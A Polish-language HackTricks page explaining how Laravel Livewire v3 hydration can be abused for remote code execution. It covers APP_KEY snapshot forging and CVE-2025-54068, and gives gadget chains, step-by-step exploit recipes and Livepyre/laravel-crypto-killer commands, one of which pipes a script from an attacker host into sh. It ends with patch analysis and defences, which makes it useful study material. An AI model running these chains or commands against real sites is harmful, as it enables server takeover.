Laravel Livewire Hydration & Synthesizer Abuse
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Podsumowanie maszyny stanów Livewire
Komponenty Livewire 3 wymieniają swój stan przez snapshots, które zawierają data, memo oraz checksum. Każdy POST do /livewire/update rehydratyzuje JSON snapshot po stronie serwera i wykonuje kolejkę calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Każdy, kto posiada APP_KEY (używany do wyprowadzenia $hashKey), może więc fałszować dowolne snapshots, przeliczając HMAC.
Złożone properties są kodowane jako synthetic tuples wykrywane przez Livewire\Drawer\BaseUtils::isSyntheticTuple(); każda tuple to [value, {"s":"<key>", ...meta}]. Core hydratacji po prostu deleguje każdą tuple do synth wybranego w HandleComponents::$propertySynthesizers i rekurencyjnie przechodzi po dzieciach:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Ten rekurencyjny projekt sprawia, że Livewire staje się generycznym silnikiem do tworzenia obiektów wtedy, gdy atakujący kontroluje albo metadane tuple, albo dowolną zagnieżdżoną tuple przetwarzaną podczas rekurencji.
Synthesizers, które dają prymitywy gadgetów
| Synthesizer | Zachowanie kontrolowane przez atakującego |
|---|---|
CollectionSynth (clctn) | Instancjuje new $meta['class']($value) po rehydratacji każdego dziecka. Może zostać utworzona dowolna klasa z konstruktorem przyjmującym tablicę, a każdy element może sam być syntetyczną tuple. |
FormObjectSynth (form) | Wywołuje new $meta['class']($component, $path), a następnie przypisuje każdą publiczną właściwość z dzieci kontrolowanych przez atakującego poprzez $hydrateChild. Konstruktor przyjmujący dwa słabo typowane parametry (albo domyślne argumenty) wystarcza, by dotrzeć do dowolnych publicznych właściwości. |
ModelSynth (mdl) | Gdy key nie występuje w meta, wykonuje return new $class;, umożliwiając instancjowanie bez argumentów dowolnej klasy pod kontrolą atakującego. |
Ponieważ synths wywołują $hydrateChild dla każdego zagnieżdżonego elementu, można budować dowolne grafy gadgetów przez rekurencyjne układanie tuple.
Fałszowanie snapshotów, gdy APP_KEY jest znany
- Przechwyć prawidłowe żądanie
/livewire/updatei zdekodujcomponents[0].snapshot. - Wstrzyknij zagnieżdżone tuple wskazujące na klasy gadgetów i przelicz
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ponownie zakoduj snapshot, pozostaw
_token/memobez zmian i odtwórz żądanie.
Minimalny proof of execution używa Guzzle’s FnStream i Flysystem’s ShardedPrefixPublicUrlGenerator. Jedna tuple instancjuje FnStream z danymi konstruktora { "__toString": "phpinfo" }, następna instancjuje ShardedPrefixPublicUrlGenerator z [FnStreamInstance] jako $prefixes. Gdy Flysystem rzutuje każdy prefix na string, PHP wywołuje podstawiony przez atakującego callable __toString, wywołując dowolną funkcję bez argumentów.
Od wywołań funkcji do pełnego RCE
Wykorzystując prymitywy instancjowania Livewire, Synacktiv dostosował łańcuch phpggc Laravel/RCE4, tak aby hydracja uruchamiała obiekt, którego publiczny stan Queueable wyzwala deserializację:
- Queueable trait – każdy obiekt używający
Illuminate\Bus\Queueableujawnia publiczne$chainedi wykonujeunserialize(array_shift($this->chained))wdispatchNextJobInChain(). - Opakowanie BroadcastEvent –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) jest instancjowane przezCollectionSynth/FormObjectSynthz wypełnionym publicznym$chained. - phpggc Laravel/RCE4Adapted – serializowany blob przechowywany w
$chained[0]budujePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()ostatecznie wywołujecall_user_func_array($closure, $args), umożliwiającsystem($cmd). - Stealth termination – przekazując drugi callable
FnStream, taki jak[new Laravel\Prompts\Terminal(), 'exit'], żądanie kończy sięexit()zamiast hałaśliwego wyjątku, utrzymując czystą odpowiedź HTTP.
Automatyzacja fałszowania snapshotów
synacktiv/laravel-crypto-killer teraz dostarcza tryb livewire, który łączy wszystko:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Narzędzie parsuje przechwycony snapshot, wstrzykuje gadget tuples, przelicza checksum i drukuje gotowy do wysłania payload /livewire/update.
CVE-2025-54068 – RCE bez APP_KEY
Zgodnie z advisory vendora, problem dotyczy Livewire v3 (>= 3.0.0-beta.1 i <= 3.6.3) i jest unikalny dla v3.
updates są łączone ze stanem komponentu po zweryfikowaniu checksum snapshotu. Jeśli właściwość wewnątrz snapshotu jest (lub staje się) synthetic tuple, Livewire ponownie używa jej meta podczas hydratacji wartości update kontrolowanej przez atakującego:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Znajdź Livewire component z nietypowanym public property (np.
public $count;). - Wyślij update, który ustawia tę właściwość na
[]. Następny snapshot zapisuje to teraz jako[[], {"s": "arr"}].
Minimalny flow type-juggling wygląda tak:
POST /livewire/update
...
"updates": {"count": []}
Następnie kolejny snapshot zapisuje tuple, który zachowuje metadane synth arr:
"count": [[], {"s": "arr"}]
- Zbuduj kolejny
updatespayload, w którym ta właściwość zawiera głęboko zagnieżdżoną tablicę osadzającą tuple takie jak[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Podczas rekurencji
hydrate()ocenia każde zagnieżdżone child osobno, więc synth keys/classes wybrane przez attacker są respektowane, mimo że zewnętrzny tuple i checksum nigdy się nie zmieniły. - Ponownie użyj tych samych primitives
CollectionSynth/FormObjectSynth, aby zainstancjować Queueable gadget, którego$chained[0]zawiera payload z phpggc. Livewire przetwarza sfałszowane updates, wywołujedispatchNextJobInChain(), i dochodzi dosystem(<cmd>)bez znajomościAPP_KEY.
Kluczowe powody, dlaczego to działa:
updatesnie są objęte snapshot checksum.getMetaForPath()ufa metadanym synth, które już istniały dla tej właściwości, nawet jeśli attacker wcześniej wymusił, aby stała się tuple przez weak typing.- Rekurencja plus weak typing pozwalają interpretować każdą zagnieżdżoną tablicę jako zupełnie nowy tuple, więc dowolne synth keys i dowolne klasy ostatecznie docierają do hydration.
High-value pre-auth target: Filament login forms
Aplikacje zbudowane na Livewire często ujawniają jeszcze łatwiejszą pre-auth powierzchnię niż przykładowe public $count; property. Na przykład strony logowania Filament zwykle hydratują słabo typowany obiekt $form, który jest już zserializowany jako form tuple w snapshot. Usuwa to całkowicie krok przygotowawczy „scalar -> array -> arr tuple”:
- Snapshot już zawiera coś w rodzaju
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Attacker może wysłać
updates.formz zagnieżdżonymi złośliwymi tuple bezpośrednio, ponieważ rekurencja ostatecznie zinterpretuje dzieci takie jak[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Dlatego pre-auth Livewire entrypoints, które eksponują obiekty
FormObjectSynth, są szczególnie atrakcyjne: zapewniają już zarówno instantiation, jak i przypisanie do public property.
Patch analysis: preserve raw metadata during update recursion
Naprawa wprowadza dedykowaną ścieżkę hydratePropertyUpdate(), dzięki czemu zagnieżdżone wartości update nie wywołują już generycznego hydrate($child, ...) na child kontrolowanych przez attacker:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Wpływ bezpieczeństwa poprawki:
- Zagnieżdżone aktualizacje są ponownie walidowane względem oryginalnej surowej ścieżki snapshot zamiast ufać świeżym metadanym tuple dostarczonym przez atakującego.
- Rekursywna hydration nie pozwala już dzieciom redefiniować
saniclassw trakcie działania. - To blokuje zarówno arbitralne przełączanie synthesizer, jak i arbitralny wybór klasy wewnątrz zagnieżdżonych tablic aktualizacji.
Livepyre – end-to-end exploitation
Livepyre automatyzuje zarówno wariant CVE bez APP_KEY, jak i ścieżkę signed-snapshot:
- Rozpoznaje wdrożoną wersję Livewire, parsując
<script src="/livewire/livewire.js?id=HASH">(albo?v=HASH) i mapując hash na podatne wydania. - Zbiera bazowe snapshots przez odtwarzanie nieszkodliwych akcji i wyciąganie
components[].snapshot. - Generuje albo payload tylko z
updates(CVE-2025-54068), albo forged snapshot (znany APP_KEY) z osadzonym łańcuchem phpggc. - Jeśli w snapshot nie zostanie znaleziony parametr typu object, Livepyre przechodzi do brute-forcing kandydatów, aby dotrzeć do właściwości, którą da się coerced.
Typowe użycie:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check uruchamia niedestrukcyjny probe, -F pomija version gating, -H i -P dodają niestandardowe headers lub proxies, a --function/--param dostosowują funkcję php wywoływaną przez gadget chain.
Defensive considerations
- Zaktualizuj do naprawionych buildów Livewire (>= 3.6.4 zgodnie z vendor bulletin) i wdroż patch od vendora dla CVE-2025-54068.
- Unikaj słabo typowanych public properties w komponentach Livewire; jawne typy skalarne zapobiegają coercion wartości property do arrays/tuples.
- Rejestruj tylko te synthesizers, których naprawdę potrzebujesz, i traktuj metadata kontrolowane przez usera (
$meta['class']) jako untrusted. - Odrzucaj updates, które zmieniają typ JSON property (np. scalar -> array), chyba że jest to explicite dozwolone, i ponownie wyliczaj synth metadata zamiast ponownie używać przestarzałych tuples.
- Szybko rotuj
APP_KEYpo każdym disclosure, ponieważ umożliwia offline snapshot forging niezależnie od tego, jak bardzo code-base jest załatany.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


